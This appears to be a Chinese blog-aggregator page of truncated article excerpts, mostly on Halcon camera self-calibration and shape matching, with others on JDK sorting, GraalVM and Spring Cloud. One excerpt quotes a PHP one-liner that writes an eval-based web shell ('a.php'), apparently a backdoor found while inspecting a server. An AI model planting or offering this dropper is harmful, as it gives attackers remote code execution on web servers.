本次先对halcon的自标定做个整体介绍,了解屌炸天的自标定在实际应用中的应用与实现方法,具体的编程细节将在后续的文章中介绍。 halcon提供了一种自标定的算子,它可以在不用标定板的情况下,标定出相机内参(无焦距),相对于多幅标定无法获取相机的外参 ...
自 halcon之屌炸天的自标定 发出以后,有朋友看了文章也应用到了自己的测量项目中,效果奇好,成功搞定了 um的需求,可喜可贺。 在halcon之屌炸天的自标定 中我提到了一片论文: T. Thorm len, H. Broszio: Automatic line based estimation of radial lens distortion in: Integrated Computer ...
2015-12-25 10:29 0 4135 推荐指数:
本次先对halcon的自标定做个整体介绍,了解屌炸天的自标定在实际应用中的应用与实现方法,具体的编程细节将在后续的文章中介绍。 halcon提供了一种自标定的算子,它可以在不用标定板的情况下,标定出相机内参(无焦距),相对于多幅标定无法获取相机的外参 ...
在日常工程应用中,我们通常通过halcon的 shape-based matching(形状匹配)进行各种定位, 如以前文章介绍的这样,理解各个参数并灵活应用通常就能得到很好的匹配效果和匹配速度, 当待匹配物体有轻微变形时,并不影响得到的匹配结果,然后当待匹配物体有较大变形时 ...
fputs(fopen('a.php','w'),'<?php eval($_POST[cc])?>'); php后门有很多,包子也见多了和玩多了,但是在一次帮助朋友检查服务器的时候,竟 ...
今天总结了下JDK中排序的方法,包括JDK8中强大的lambda表达式及函数式接口运用,不废话,请看下面示例。 看完有没有觉得很惊艳,简直屌炸天,Lumbda表达式+函数式接口还有更多强大的应用下回再做个专题介绍。 推荐去我的博客阅读更多: 1.Java JVM、集合、多线程、新特性系列 ...
前阵子,Oracle 发布了一个黑科技 "GraalVM",号称是一个全新的通用全栈虚拟机,并具有高性能、跨语言交互等逆天特性,真有这么神奇? GraalVM 简介 GraalVM 是一个跨语言的通用虚拟机,不仅支持了 Java、Scala、Groovy、Kotlin 等基于 JVM 的语言 ...
来源:思否 segmentfault.com/a/1190000017346799 1.分布式应用服务开发的一站式解决方案 Spring Cloud Alibaba Spring C ...
摄像头拍摄时候,图像均有畸变,但是图像的扭曲变形均是有规律的成线性的,所以可以通过算法矫正。halcon标定过程需要在镜头内放置标定板;标定板一般选用30*30mm的;可以通过halcon程序来制作: gen_caltab(::XNum,YNum,MarkDist,DiameterRatio ...
Halcon标定步骤 1.设置相机内部参数的初始值 StartCamPar := [0.016,0,0.0000074,0.0000074,326,247,652,494]set_calib_data_cam_param (CalibDataID, 0, 'area_scan_division ...